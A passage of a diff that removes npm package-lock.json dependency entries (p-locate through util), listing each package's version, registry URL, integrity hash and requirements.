- "p-locate": { - "version": "3.0.0", - "resolved": "https://registry.npmjs.org/p-locate/-/p-locate-3.0.0.tgz", - "integrity": "sha512-x+12w/To+4GFfgJhBEpiDcLozRJGegY+Ei7/z0tSLkMmxGZNybVMSfWj9aJn8Z5Fc7dBUNJOOVgPv2H7IwulSQ==", - "dev": true, - "requires": { - "p-limit": "^2.0.0" - } - }, - "p-try": { - "version": "2.2.0", - "resolved": "https://registry.npmjs.org/p-try/-/p-try-2.2.0.tgz", - "integrity": "sha512-R4nPAVTAU0B9D35/Gk3uJf/7XYbQcyohSKdvAxIRSNghFl4e71hVoGnBNQz9cWaXxO2I10KTC+3jMdvvoKw6dQ==", - "dev": true - }, - "path-exists": { - "version": "3.0.0", - "resolved": "https://registry.npmjs.org/path-exists/-/path-exists-3.0.0.tgz", - "integrity": "sha1-zg6+ql94yxiSXqfYENe1mwEP1RU=", - "dev": true - }, - "pify": { - "version": "4.0.1", - "resolved": "https://registry.npmjs.org/pify/-/pify-4.0.1.tgz", - "integrity": "sha512-uB80kBFb/tfd68bVleG9T5GGsGPjJrLAUpR5PZIrhBnIaRTQRjqdJSsIKkOP6OAIFbj7GOrcudc5pNjZ+geV2g==", - "dev": true - }, - "pkg-dir": { - "version": "3.0.0", - "resolved": "https://registry.npmjs.org/pkg-dir/-/pkg-dir-3.0.0.tgz", - "integrity": "sha512-/E57AYkoeQ25qkxMj5PBOVgF8Kiu/h7cYS30Z5+R7WaiCCBfLq58ZI/dSeaEKb9WVJV5n/03QwrN3IeWIFllvw==", - "dev": true, - "requires": { - "find-up": "^3.0.0" - } - }, - "pump": { - "version": "3.0.0", - "resolved": "https://registry.npmjs.org/pump/-/pump-3.0.0.tgz", - "integrity": "sha512-LwZy+p3SFs1Pytd/jYct4wpv49HiYCqd9Rlc5ZVdk0V+8Yzv6jR5Blk3TRmPL1ft69TxP0IMZGJ+WPFU2BFhww==", - "dev": true, - "requires": { - "end-of-stream": "^1.1.0", - "once": "^1.3.1" - } - }, - "randombytes": { - "version": "2.1.0", - "resolved": "https://registry.npmjs.org/randombytes/-/randombytes-2.1.0.tgz", - "integrity": "sha512-vYl3iOX+4CKUWuxGi9Ukhie6fsqXqS9FE2Zaic4tNFD2N2QQaXOMFbuKK4QmDHC0JO6B1Zp41J0LpT0oR68amQ==", - "dev": true, - "requires": { - "safe-buffer": "^5.1.0" - } - }, - "rimraf": { - "version": "2.7.1", - "resolved": "https://registry.npmjs.org/rimraf/-/rimraf-2.7.1.tgz", - "integrity": "sha512-uWjbaKIK3T1OSVptzX7Nl6PvQ3qAGtKEtVRjRuazjfL3Bx5eI409VZSqgND+4UNnmzLVdPj9FqFJNPqBZFve4w==", - "dev": true, - "requires": { - "glob": "^7.1.3" - } - }, - "schema-utils": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/schema-utils/-/schema-utils-1.0.0.tgz", - "integrity": "sha512-i27Mic4KovM/lnGsy8whRCHhc7VicJajAjTrYg11K9zfZXnYIt4k5F+kZkwjnrhKzLic/HLU4j11mjsz2G/75g==", - "dev": true, - "requires": { - "ajv": "^6.1.0", - "ajv-errors": "^1.0.0", - "ajv-keywords": "^3.1.0" - } - }, - "semver": { - "version": "5.7.1", - "resolved": "https://registry.npmjs.org/semver/-/semver-5.7.1.tgz", - "integrity": "sha512-sauaDf/PZdVgrLTNYHRtpXa1iRiKcaebiKQ1BJdpQlWH2lCvexQdX55snPFyK7QzpudqbCI0qXFfOasHdyNDGQ==", - "dev": true - }, - "serialize-javascript": { - "version": "3.1.0", - "resolved": "https://registry.npmjs.org/serialize-javascript/-/serialize-javascript-3.1.0.tgz", - "integrity": "sha512-JIJT1DGiWmIKhzRsG91aS6Ze4sFUrYbltlkg2onR5OrnNM02Kl/hnY/T4FN2omvyeBbQmMJv+K4cPOpGzOTFBg==", - "dev": true, - "requires": { - "randombytes": "^2.1.0" - } - }, - "source-map": { - "version": "0.6.1", - "resolved": "https://registry.npmjs.org/source-map/-/source-map-0.6.1.tgz", - "integrity": "sha512-UjgapumWlbMhkBgzT7Ykc5YXUT46F0iKu8SGXq0bcwP5dz/h0Plj6enJqjz1Zbq2l5WaqYnrVbwWOWMyF3F47g==", - "dev": true - }, - "ssri": { - "version": "6.0.1", - "resolved": "https://registry.npmjs.org/ssri/-/ssri-6.0.1.tgz", - "integrity": "sha512-3Wge10hNcT1Kur4PDFwEieXSCMCJs/7WvSACcrMYrNp+b8kDL1/0wJch5Ni2WrtwEa2IO8OsVfeKIciKCDx/QA==", - "dev": true, - "requires": { - "figgy-pudding": "^3.5.1" - } - }, - "unique-filename": { - "version": "1.1.1", - "resolved": "https://registry.npmjs.org/unique-filename/-/unique-filename-1.1.1.tgz", - "integrity": "sha512-Vmp0jIp2ln35UTXuryvjzkjGdRyf9b2lTXuSYUiPmzRcl3FDtYqAwOnTJkAngD9SWhnoJzDbTKwaOrZ+STtxNQ==", - "dev": true, - "requires": { - "unique-slug": "^2.0.0" - } - }, - "webpack-sources": { - "version": "1.4.3", - "resolved": "https://registry.npmjs.org/webpack-sources/-/webpack-sources-1.4.3.tgz", - "integrity": "sha512-lgTS3Xhv1lCOKo7SA5TjKXMjpSM4sBjNV5+q2bqesbSPs5FjGmU6jjtBSkX9b4qW87vDIsCIlUPOEhbZrMdjeQ==", - "dev": true, - "requires": { - "source-list-map": "^2.0.0", - "source-map": "~0.6.1" - } - }, - "worker-farm": { - "version": "1.7.0", - "resolved": "https://registry.npmjs.org/worker-farm/-/worker-farm-1.7.0.tgz", - "integrity": "sha512-rvw3QTZc8lAxyVrqcSGVm5yP/IJ2UcB3U0graE3LCFoZ0Yn2x4EoVSqJKdB/T5M+FLcRPjz4TDacRf3OCfNUzw==", - "dev": true, - "requires": { - "errno": "~0.1.7" - } - }, - "y18n": { - "version": "4.0.0", - "resolved": "https://registry.npmjs.org/y18n/-/y18n-4.0.0.tgz", - "integrity": "sha512-r9S/ZyXu/Xu9q1tYlpsLIsa3EeLXXk0VwlxqTcFRfg9EhMW+17kbt9G0NrgCmhGb5vT2hyhJZLfDGx+7+5Uj/w==", - "dev": true - }, - "yallist": { - "version": "3.1.1", - "resolved": "https://registry.npmjs.org/yallist/-/yallist-3.1.1.tgz", - "integrity": "sha512-a4UGQaWPH59mOXUYnAG2ewncQS4i4F43Tv3JoAM+s2VDAmS9NsK8GpDMLrCHPksFT7h3K6TOoUNn2pb7RoXx4g==", - "dev": true - } - } - }, - "text-table": { - "version": "0.2.0", - "resolved": "https://registry.npmjs.org/text-table/-/text-table-0.2.0.tgz", - "integrity": "sha1-f17oI66AUgfACvLfSoTsP8+lcLQ=", - "dev": true - }, - "through": { - "version": "2.3.8", - "resolved": "https://registry.npmjs.org/through/-/through-2.3.8.tgz", - "integrity": "sha1-DdTJ/6q8NXlgsbckEV1+Doai4fU=", - "dev": true - }, - "through2": { - "version": "2.0.3", - "resolved": "https://registry.npmjs.org/through2/-/through2-2.0.3.tgz", - "integrity": "sha1-AARWmzfHx0ujnEPzzteNGtlBQL4=", - "dev": true, - "requires": { - "readable-stream": "^2.1.5", - "xtend": "~4.0.1" - } - }, - "timers-browserify": { - "version": "1.4.2", - "resolved": "https://registry.npmjs.org/timers-browserify/-/timers-browserify-1.4.2.tgz", - "integrity": "sha1-ycWLV1voQHN1y14kYtrO50NZ9B0=", - "dev": true, - "requires": { - "process": "~0.11.0" - } - }, - "timsort": { - "version": "0.3.0", - "resolved": "https://registry.npmjs.org/timsort/-/timsort-0.3.0.tgz", - "integrity": "sha1-QFQRqOfmM5/mTbmiNN4R3DHgK9Q=", - "dev": true - }, - "tiny-lr": { - "version": "1.1.1", - "resolved": "https://registry.npmjs.org/tiny-lr/-/tiny-lr-1.1.1.tgz", - "integrity": "sha512-44yhA3tsaRoMOjQQ+5v5mVdqef+kH6Qze9jTpqtVufgYjYt08zyZAwNwwVBj3i1rJMnR52IxOW0LK0vBzgAkuA==", - "dev": true, - "requires": { - "body": "^5.1.0", - "debug": "^3.1.0", - "faye-websocket": "~0.10.0", - "livereload-js": "^2.3.0", - "object-assign": "^4.1.0", - "qs": "^6.4.0" - }, - "dependencies": { - "debug": { - "version": "3.1.0", - "resolved": "https://registry.npmjs.org/debug/-/debug-3.1.0.tgz", - "integrity": "sha512-OX8XqP7/1a9cqkxYw2yXss15f26NKWBpDXQd0/uK/KPqdQhxbPa994hnzjcE2VqQpDslf55723cKPUOGSmMY3g==", - "dev": true, - "requires": { - "ms": "2.0.0" - } - } - } - }, - "tinycolor2": { - "version": "1.4.1", - "resolved": "https://registry.npmjs.org/tinycolor2/-/tinycolor2-1.4.1.tgz", - "integrity": "sha1-9PrTM0R7wLB9TcjpIJ2POaisd+g=" - }, - "tmp": { - "version": "0.0.33", - "resolved": "https://registry.npmjs.org/tmp/-/tmp-0.0.33.tgz", - "integrity": "sha512-jRCJlojKnZ3addtTOjdIqoRuPEKBvNXcGYqzO6zWZX8KfKEpnGY5jfggJQ3EjKuu8D4bJRr0y+cYJFmYbImXGw==", - "dev": true, - "requires": { - "os-tmpdir": "~1.0.2" - } - }, - "to-arraybuffer": { - "version": "1.0.1", - "resolved": "https://registry.npmjs.org/to-arraybuffer/-/to-arraybuffer-1.0.1.tgz", - "integrity": "sha1-fSKbH8xjfkZsoIEYCDanqr/4P0M=", - "dev": true - }, - "to-fast-properties": { - "version": "1.0.3", - "resolved": "https://registry.npmjs.org/to-fast-properties/-/to-fast-properties-1.0.3.tgz", - "integrity": "sha1-uDVx+k2MJbguIxsG46MFXeTKGkc=" - }, - "to-object-path": { - "version": "0.3.0", - "resolved": "https://registry.npmjs.org/to-object-path/-/to-object-path-0.3.0.tgz", - "integrity": "sha1-KXWIt7Dn4KwI4E5nL4XB9JmeF68=", - "dev": true, - "requires": { - "kind-of": "^3.0.2" - } - }, - "to-regex": { - "version": "3.0.2", - "resolved": "https://registry.npmjs.org/to-regex/-/to-regex-3.0.2.tgz", - "integrity": "sha512-FWtleNAtZ/Ki2qtqej2CXTOayOH9bHDQF+Q48VpWyDXjbYxA4Yz8iDB31zXOBUlOHHKidDbqGVrTUvQMPmBGBw==", - "dev": true, - "requires": { - "define-property": "^2.0.2", - "extend-shallow": "^3.0.2", - "regex-not": "^1.0.2", - "safe-regex": "^1.1.0" - } - }, - "to-regex-range": { - "version": "2.1.1", - "resolved": "https://registry.npmjs.org/to-regex-range/-/to-regex-range-2.1.1.tgz", - "integrity": "sha1-fIDBe53+vlmeJzZ+DU3VWQFB2zg=", - "dev": true, - "requires": { - "is-number": "^3.0.0", - "repeat-string": "^1.6.1" - }, - "dependencies": { - "is-number": { - "version": "3.0.0", - "resolved": "https://registry.npmjs.org/is-number/-/is-number-3.0.0.tgz", - "integrity": "sha1-JP1iAaR4LPUFYcgQJ2r8fRLXEZU=", - "dev": true, - "requires": { - "kind-of": "^3.0.2" - } - } - } - }, - "toastr": { - "version": "2.1.4", - "resolved": "https://registry.npmjs.org/toastr/-/toastr-2.1.4.tgz", - "integrity": "sha1-i0O+ZPudDEFIcURvLbjoyk6V8YE=", - "requires": { - "jquery": ">=1.12.0" - } - }, - "token-stream": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/token-stream/-/token-stream-1.0.0.tgz", - "integrity": "sha1-zCAOqyYT9BZtJ/+a/HylbUnfbrQ=", - "dev": true - }, - "tough-cookie": { - "version": "2.4.3", - "resolved": "https://registry.npmjs.org/tough-cookie/-/tough-cookie-2.4.3.tgz", - "integrity": "sha512-Q5srk/4vDM54WJsJio3XNn6K2sCG+CQ8G5Wz6bZhRZoAe/+TxjWB/GlFAnYEbkYVlON9FMk/fE3h2RLpPXo4lQ==", - "dev": true, - "requires": { - "psl": "^1.1.24", - "punycode": "^1.4.1" - } - }, - "trim-newlines": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/trim-newlines/-/trim-newlines-1.0.0.tgz", - "integrity": "sha1-WIeWa7WCpFA6QetST301ARgVphM=", - "dev": true - }, - "trim-right": { - "version": "1.0.1", - "resolved": "https://registry.npmjs.org/trim-right/-/trim-right-1.0.1.tgz", - "integrity": "sha1-yy4SAwZ+DI3h9hQJS5/kVwTqYAM=", - "dev": true - }, - "true-case-path": { - "version": "1.0.3", - "resolved": "https://registry.npmjs.org/true-case-path/-/true-case-path-1.0.3.tgz", - "integrity": "sha512-m6s2OdQe5wgpFMC+pAJ+q9djG82O2jcHPOI6RNg1yy9rCYR+WD6Nbpl32fDpfC56nirdRy+opFa/Vk7HYhqaew==", - "dev": true, - "requires": { - "glob": "^7.1.2" - }, - "dependencies": { - "glob": { - "version": "7.1.6", - "resolved": "https://registry.npmjs.org/glob/-/glob-7.1.6.tgz", - "integrity": "sha512-LwaxwyZ72Lk7vZINtNNrywX0ZuLyStrdDtabefZKAY5ZGJhVtgdznluResxNmPitE0SAO+O26sWTHeKSI2wMBA==", - "dev": true, - "requires": { - "fs.realpath": "^1.0.0", - "inflight": "^1.0.4", - "inherits": "2", - "minimatch": "^3.0.4", - "once": "^1.3.0", - "path-is-absolute": "^1.0.0" - } - } - } - }, - "tslib": { - "version": "1.10.0", - "resolved": "https://registry.npmjs.org/tslib/-/tslib-1.10.0.tgz", - "integrity": "sha512-qOebF53frne81cf0S9B41ByenJ3/IuH8yJKngAX35CmiZySA0khhkovshKK+jGCaMnVomla7gVlIcc3EvKPbTQ==", - "dev": true - }, - "tty-browserify": { - "version": "0.0.0", - "resolved": "https://registry.npmjs.org/tty-browserify/-/tty-browserify-0.0.0.tgz", - "integrity": "sha1-oVe6QC2iTpv5V/mqadUk7tQpAaY=", - "dev": true - }, - "tunnel-agent": { - "version": "0.6.0", - "resolved": "https://registry.npmjs.org/tunnel-agent/-/tunnel-agent-0.6.0.tgz", - "integrity": "sha1-J6XeoGs2sEoKmWZ3SykIaPD8QP0=", - "dev": true, - "requires": { - "safe-buffer": "^5.0.1" - } - }, - "tweetnacl": { - "version": "0.14.5", - "resolved": "https://registry.npmjs.org/tweetnacl/-/tweetnacl-0.14.5.tgz", - "integrity": "sha1-WuaBd/GS1EViadEIr6k/+HQ/T2Q=", - "dev": true, - "optional": true - }, - "type-check": { - "version": "0.3.2", - "resolved": "https://registry.npmjs.org/type-check/-/type-check-0.3.2.tgz", - "integrity": "sha1-WITKtRLPHTVeP7eE8wgEsrUg23I=", - "dev": true, - "requires": { - "prelude-ls": "~1.1.2" - } - }, - "typedarray": { - "version": "0.0.6", - "resolved": "https://registry.npmjs.org/typedarray/-/typedarray-0.0.6.tgz", - "integrity": "sha1-hnrHTjhkGHsdPUfZlqeOxciDB3c=", - "dev": true - }, - "ua-parser-js": { - "version": "0.7.18", - "resolved": "https://registry.npmjs.org/ua-parser-js/-/ua-parser-js-0.7.18.tgz", - "integrity": "sha512-LtzwHlVHwFGTptfNSgezHp7WUlwiqb0gA9AALRbKaERfxwJoiX0A73QbTToxteIAuIaFshhgIZfqK8s7clqgnA==", - "dev": true - }, - "uglify-js": { - "version": "3.4.4", - "resolved": "https://registry.npmjs.org/uglify-js/-/uglify-js-3.4.4.tgz", - "integrity": "sha512-RiB1kNcC9RMyqwRrjXC+EjgLoXULoDnCaOnEDzUCHkBN0bHwmtF5rzDMiDWU29gu0kXCRRWwtcTAVFWRECmU2Q==", - "dev": true, - "requires": { - "commander": "~2.16.0", - "source-map": "~0.6.1" - }, - "dependencies": { - "commander": { - "version": "2.16.0", - "resolved": "https://registry.npmjs.org/commander/-/commander-2.16.0.tgz", - "integrity": "sha512-sVXqklSaotK9at437sFlFpyOcJonxe0yST/AG9DkQKUdIE6IqGIMv4SfAQSKaJbSdVEJYItASCrBiVQHq1HQew==", - "dev": true - }, - "source-map": { - "version": "0.6.1", - "resolved": "https://registry.npmjs.org/source-map/-/source-map-0.6.1.tgz", - "integrity": "sha512-UjgapumWlbMhkBgzT7Ykc5YXUT46F0iKu8SGXq0bcwP5dz/h0Plj6enJqjz1Zbq2l5WaqYnrVbwWOWMyF3F47g==", - "dev": true - } - } - }, - "uglify-to-browserify": { - "version": "1.0.2", - "resolved": "https://registry.npmjs.org/uglify-to-browserify/-/uglify-to-browserify-1.0.2.tgz", - "integrity": "sha1-bgkk1r2mta/jSeOabWMoUKD4grc=", - "dev": true, - "optional": true - }, - "uglifyjs-webpack-plugin": { - "version": "1.2.7", - "resolved": "https://registry.npmjs.org/uglifyjs-webpack-plugin/-/uglifyjs-webpack-plugin-1.2.7.tgz", - "integrity": "sha512-1VicfKhCYHLS8m1DCApqBhoulnASsEoJ/BvpUpP4zoNAPpKzdH+ghk0olGJMmwX2/jprK2j3hAHdUbczBSy2FA==", - "dev": true, - "requires": { - "cacache": "^10.0.4", - "find-cache-dir": "^1.0.0", - "schema-utils": "^0.4.5", - "serialize-javascript": "^1.4.0", - "source-map": "^0.6.1", - "uglify-es": "^3.3.4", - "webpack-sources": "^1.1.0", - "worker-farm": "^1.5.2" - }, - "dependencies": { - "commander": { - "version": "2.13.0", - "resolved": "https://registry.npmjs.org/commander/-/commander-2.13.0.tgz", - "integrity": "sha512-MVuS359B+YzaWqjCL/c+22gfryv+mCBPHAv3zyVI2GN8EY6IRP8VwtasXn8jyyhvvq84R4ImN1OKRtcbIasjYA==", - "dev": true - }, - "source-map": { - "version": "0.6.1", - "resolved": "https://registry.npmjs.org/source-map/-/source-map-0.6.1.tgz", - "integrity": "sha512-UjgapumWlbMhkBgzT7Ykc5YXUT46F0iKu8SGXq0bcwP5dz/h0Plj6enJqjz1Zbq2l5WaqYnrVbwWOWMyF3F47g==", - "dev": true - }, - "uglify-es": { - "version": "3.3.9", - "resolved": "https://registry.npmjs.org/uglify-es/-/uglify-es-3.3.9.tgz", - "integrity": "sha512-r+MU0rfv4L/0eeW3xZrd16t4NZfK8Ld4SWVglYBb7ez5uXFWHuVRs6xCTrf1yirs9a4j4Y27nn7SRfO6v67XsQ==", - "dev": true, - "requires": { - "commander": "~2.13.0", - "source-map": "~0.6.1" - } - } - } - }, - "umd": { - "version": "3.0.3", - "resolved": "https://registry.npmjs.org/umd/-/umd-3.0.3.tgz", - "integrity": "sha512-4IcGSufhFshvLNcMCV80UnQVlZ5pMOC8mvNPForqwA4+lzYQuetTESLDQkeLmihq8bRcnpbQa48Wb8Lh16/xow==", - "dev": true - }, - "undeclared-identifiers": { - "version": "1.1.2", - "resolved": "https://registry.npmjs.org/undeclared-identifiers/-/undeclared-identifiers-1.1.2.tgz", - "integrity": "sha512-13EaeocO4edF/3JKime9rD7oB6QI8llAGhgn5fKOPyfkJbRb6NFv9pYV6dFEmpa4uRjKeBqLZP8GpuzqHlKDMQ==", - "dev": true, - "requires": { - "acorn-node": "^1.3.0", - "get-assigned-identifiers": "^1.2.0", - "simple-concat": "^1.0.0", - "xtend": "^4.0.1" - } - }, - "underscore": { - "version": "1.10.2", - "resolved": "https://registry.npmjs.org/underscore/-/underscore-1.10.2.tgz", - "integrity": "sha512-N4P+Q/BuyuEKFJ43B9gYuOj4TQUHXX+j2FqguVOpjkssLUUrnJofCcBccJSCoeturDoZU6GorDTHSvUDlSQbTg==" - }, - "underscore.string": { - "version": "3.3.4", - "resolved": "https://registry.npmjs.org/underscore.string/-/underscore.string-3.3.4.tgz", - "integrity": "sha1-LCo/n4PmR2L9xF5s6sZRQoZCE9s=", - "dev": true, - "requires": { - "sprintf-js": "^1.0.3", - "util-deprecate": "^1.0.2" - } - }, - "unicode-canonical-property-names-ecmascript": { - "version": "1.0.4", - "resolved": "https://registry.npmjs.org/unicode-canonical-property-names-ecmascript/-/unicode-canonical-property-names-ecmascript-1.0.4.tgz", - "integrity": "sha512-jDrNnXWHd4oHiTZnx/ZG7gtUTVp+gCcTTKr8L0HjlwphROEW3+Him+IpvC+xcJEFegapiMZyZe02CyuOnRmbnQ==", - "dev": true - }, - "unicode-match-property-ecmascript": { - "version": "1.0.4", - "resolved": "https://registry.npmjs.org/unicode-match-property-ecmascript/-/unicode-match-property-ecmascript-1.0.4.tgz", - "integrity": "sha512-L4Qoh15vTfntsn4P1zqnHulG0LdXgjSO035fEpdtp6YxXhMT51Q6vgM5lYdG/5X3MjS+k/Y9Xw4SFCY9IkR0rg==", - "dev": true, - "requires": { - "unicode-canonical-property-names-ecmascript": "^1.0.4", - "unicode-property-aliases-ecmascript": "^1.0.4" - } - }, - "unicode-match-property-value-ecmascript": { - "version": "1.2.0", - "resolved": "https://registry.npmjs.org/unicode-match-property-value-ecmascript/-/unicode-match-property-value-ecmascript-1.2.0.tgz", - "integrity": "sha512-wjuQHGQVofmSJv1uVISKLE5zO2rNGzM/KCYZch/QQvez7C1hUhBIuZ701fYXExuufJFMPhv2SyL8CyoIfMLbIQ==", - "dev": true - }, - "unicode-property-aliases-ecmascript": { - "version": "1.1.0", - "resolved": "https://registry.npmjs.org/unicode-property-aliases-ecmascript/-/unicode-property-aliases-ecmascript-1.1.0.tgz", - "integrity": "sha512-PqSoPh/pWetQ2phoj5RLiaqIk4kCNwoV3CI+LfGmWLKI3rE3kl1h59XpX2BjgDrmbxD9ARtQobPGU1SguCYuQg==", - "dev": true - }, - "union-value": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/union-value/-/union-value-1.0.0.tgz", - "integrity": "sha1-XHHDTLW61dzr4+oM0IIHulqhrqQ=", - "dev": true, - "requires": { - "arr-union": "^3.1.0", - "get-value": "^2.0.6", - "is-extendable": "^0.1.1", - "set-value": "^0.4.3" - }, - "dependencies": { - "extend-shallow": { - "version": "2.0.1", - "resolved": "https://registry.npmjs.org/extend-shallow/-/extend-shallow-2.0.1.tgz", - "integrity": "sha1-Ua99YUrZqfYQ6huvu5idaxxWiQ8=", - "dev": true, - "requires": { - "is-extendable": "^0.1.0" - } - }, - "set-value": { - "version": "0.4.3", - "resolved": "https://registry.npmjs.org/set-value/-/set-value-0.4.3.tgz", - "integrity": "sha1-fbCPnT0i3H945Trzw79GZuzfzPE=", - "dev": true, - "requires": { - "extend-shallow": "^2.0.1", - "is-extendable": "^0.1.1", - "is-plain-object": "^2.0.1", - "to-object-path": "^0.3.0" - } - } - } - }, - "uniq": { - "version": "1.0.1", - "resolved": "https://registry.npmjs.org/uniq/-/uniq-1.0.1.tgz", - "integrity": "sha1-sxxa6CVIRKOoKBVBzisEuGWnNP8=", - "dev": true - }, - "uniqs": { - "version": "2.0.0", - "resolved": "https://registry.npmjs.org/uniqs/-/uniqs-2.0.0.tgz", - "integrity": "sha1-/+3ks2slKQaW5uFl1KWe25mOawI=", - "dev": true - }, - "unique-filename": { - "version": "1.1.0", - "resolved": "https://registry.npmjs.org/unique-filename/-/unique-filename-1.1.0.tgz", - "integrity": "sha1-0F8v5AMlYIcfMOk8vnNe6iAVFPM=", - "dev": true, - "requires": { - "unique-slug": "^2.0.0" - } - }, - "unique-slug": { - "version": "2.0.0", - "resolved": "https://registry.npmjs.org/unique-slug/-/unique-slug-2.0.0.tgz", - "integrity": "sha1-22Z258fMBimHj/GWCXx4hVrp9Ks=", - "dev": true, - "requires": { - "imurmurhash": "^0.1.4" - } - }, - "universalify": { - "version": "0.1.2", - "resolved": "https://registry.npmjs.org/universalify/-/universalify-0.1.2.tgz", - "integrity": "sha512-rBJeI5CXAlmy1pV+617WB9J63U6XcazHHF2f2dbJix4XzpUF0RS3Zbj0FGIOCAva5P/d/GBOYaACQ1w+0azUkg==", - "dev": true - }, - "unquote": { - "version": "1.1.1", - "resolved": "https://registry.npmjs.org/unquote/-/unquote-1.1.1.tgz", - "integrity": "sha1-j97XMk7G6IoP+LkF58CYzcCG1UQ=", - "dev": true - }, - "unset-value": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/unset-value/-/unset-value-1.0.0.tgz", - "integrity": "sha1-g3aHP30jNRef+x5vw6jtDfyKtVk=", - "dev": true, - "requires": { - "has-value": "^0.3.1", - "isobject": "^3.0.0" - }, - "dependencies": { - "has-value": { - "version": "0.3.1", - "resolved": "https://registry.npmjs.org/has-value/-/has-value-0.3.1.tgz", - "integrity": "sha1-ex9YutpiyoJ+wKIHgCVlSEWZXh8=", - "dev": true, - "requires": { - "get-value": "^2.0.3", - "has-values": "^0.1.4", - "isobject": "^2.0.0" - }, - "dependencies": { - "isobject": { - "version": "2.1.0", - "resolved": "https://registry.npmjs.org/isobject/-/isobject-2.1.0.tgz", - "integrity": "sha1-8GVWEJaj8dou9GJy+BXIQNh+DIk=", - "dev": true, - "requires": { - "isarray": "1.0.0" - } - } - } - }, - "has-values": { - "version": "0.1.4", - "resolved": "https://registry.npmjs.org/has-values/-/has-values-0.1.4.tgz", - "integrity": "sha1-bWHeldkd/Km5oCCJrThL/49it3E=", - "dev": true - }, - "isobject": { - "version": "3.0.1", - "resolved": "https://registry.npmjs.org/isobject/-/isobject-3.0.1.tgz", - "integrity": "sha1-TkMekrEalzFjaqH5yNHMvP2reN8=", - "dev": true - } - } - }, - "upath": { - "version": "1.1.0", - "resolved": "https://registry.npmjs.org/upath/-/upath-1.1.0.tgz", - "integrity": "sha512-bzpH/oBhoS/QI/YtbkqCg6VEiPYjSZtrHQM6/QnJS6OL9pKUFLqb3aFh4Scvwm45+7iAgiMkLhSbaZxUqmrprw==", - "dev": true - }, - "uri-js": { - "version": "4.2.2", - "resolved": "https://registry.npmjs.org/uri-js/-/uri-js-4.2.2.tgz", - "integrity": "sha512-KY9Frmirql91X2Qgjry0Wd4Y+YTdrdZheS8TFwvkbLWf/G5KNJDCh6pKL5OZctEW4+0Baa5idK2ZQuELRwPznQ==", - "dev": true, - "requires": { - "punycode": "^2.1.0" - }, - "dependencies": { - "punycode": { - "version": "2.1.1", - "resolved": "https://registry.npmjs.org/punycode/-/punycode-2.1.1.tgz", - "integrity": "sha512-XRsRjdf+j5ml+y/6GKHPZbrF/8p2Yga0JPtdqTIY2Xe5ohJPD9saDJJLPvp9+NSBprVvevdXZybnj2cv8OEd0A==", - "dev": true - } - } - }, - "urix": { - "version": "0.1.0", - "resolved": "https://registry.npmjs.org/urix/-/urix-0.1.0.tgz", - "integrity": "sha1-2pN/emLiH+wf0Y1Js1wpNQZ6bHI=", - "dev": true - }, - "url": { - "version": "0.11.0", - "resolved": "https://registry.npmjs.org/url/-/url-0.11.0.tgz", - "integrity": "sha1-ODjpfPxgUh63PFJajlW/3Z4uKPE=", - "dev": true, - "requires": { - "punycode": "1.3.2", - "querystring": "0.2.0" - }, - "dependencies": { - "punycode": { - "version": "1.3.2", - "resolved": "https://registry.npmjs.org/punycode/-/punycode-1.3.2.tgz", - "integrity": "sha1-llOgNvt8HuQjQvIyXM7v6jkmxI0=", - "dev": true - } - } - }, - "url-loader": { - "version": "1.1.2", - "resolved": "https://registry.npmjs.org/url-loader/-/url-loader-1.1.2.tgz", - "integrity": "sha512-dXHkKmw8FhPqu8asTc1puBfe3TehOCo2+RmOOev5suNCIYBcT626kxiWg1NBVkwc4rO8BGa7gP70W7VXuqHrjg==", - "dev": true, - "requires": { - "loader-utils": "^1.1.0", - "mime": "^2.0.3", - "schema-utils": "^1.0.0" - }, - "dependencies": { - "ajv": { - "version": "6.6.2", - "resolved": "https://registry.npmjs.org/ajv/-/ajv-6.6.2.tgz", - "integrity": "sha512-FBHEW6Jf5TB9MGBgUUA9XHkTbjXYfAUjY43ACMfmdMRHniyoMHjHjzD50OK8LGDWQwp4rWEsIq5kEqq7rvIM1g==", - "dev": true, - "requires": { - "fast-deep-equal": "^2.0.1", - "fast-json-stable-stringify": "^2.0.0", - "json-schema-traverse": "^0.4.1", - "uri-js": "^4.2.2" - } - }, - "ajv-keywords": { - "version": "3.2.0", - "resolved": "https://registry.npmjs.org/ajv-keywords/-/ajv-keywords-3.2.0.tgz", - "integrity": "sha1-6GuBnGAs+IIa1jdBNpjx3sAhhHo=", - "dev": true, - "requires": {} - }, - "fast-deep-equal": { - "version": "2.0.1", - "resolved": "https://registry.npmjs.org/fast-deep-equal/-/fast-deep-equal-2.0.1.tgz", - "integrity": "sha1-ewUhjd+WZ79/Nwv3/bLLFf3Qqkk=", - "dev": true - }, - "json-schema-traverse": { - "version": "0.4.1", - "resolved": "https://registry.npmjs.org/json-schema-traverse/-/json-schema-traverse-0.4.1.tgz", - "integrity": "sha512-xbbCH5dCYU5T8LcEhhuh7HJ88HXuW3qsI3Y0zOZFKfZEHcpWiHU/Jxzk629Brsab/mMiHQti9wMP+845RPe3Vg==", - "dev": true - }, - "mime": { - "version": "2.4.0", - "resolved": "https://registry.npmjs.org/mime/-/mime-2.4.0.tgz", - "integrity": "sha512-ikBcWwyqXQSHKtciCcctu9YfPbFYZ4+gbHEmE0Q8jzcTYQg5dHCr3g2wwAZjPoJfQVXZq6KXAjpXOTf5/cjT7w==", - "dev": true - }, - "schema-utils": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/schema-utils/-/schema-utils-1.0.0.tgz", - "integrity": "sha512-i27Mic4KovM/lnGsy8whRCHhc7VicJajAjTrYg11K9zfZXnYIt4k5F+kZkwjnrhKzLic/HLU4j11mjsz2G/75g==", - "dev": true, - "requires": { - "ajv": "^6.1.0", - "ajv-errors": "^1.0.0", - "ajv-keywords": "^3.1.0" - } - } - } - }, - "use": { - "version": "3.1.1", - "resolved": "https://registry.npmjs.org/use/-/use-3.1.1.tgz", - "integrity": "sha512-cwESVXlO3url9YWlFW/TA9cshCEhtu7IKJ/p5soJ/gGpj7vbvFrAY/eIioQ6Dw23KjZhYgiIo8HOs1nQ2vr/oQ==", - "dev": true - }, - "user-home": { - "version": "1.1.1", - "resolved": "https://registry.npmjs.org/user-home/-/user-home-1.1.1.tgz", - "integrity": "sha1-K1viOjK2Onyd640PKNSFcko98ZA=", - "dev": true - }, - "util": { - "version": "0.10.3", - "resolved": "https://registry.npmjs.org/util/-/util-0.10.3.tgz", - "integrity": 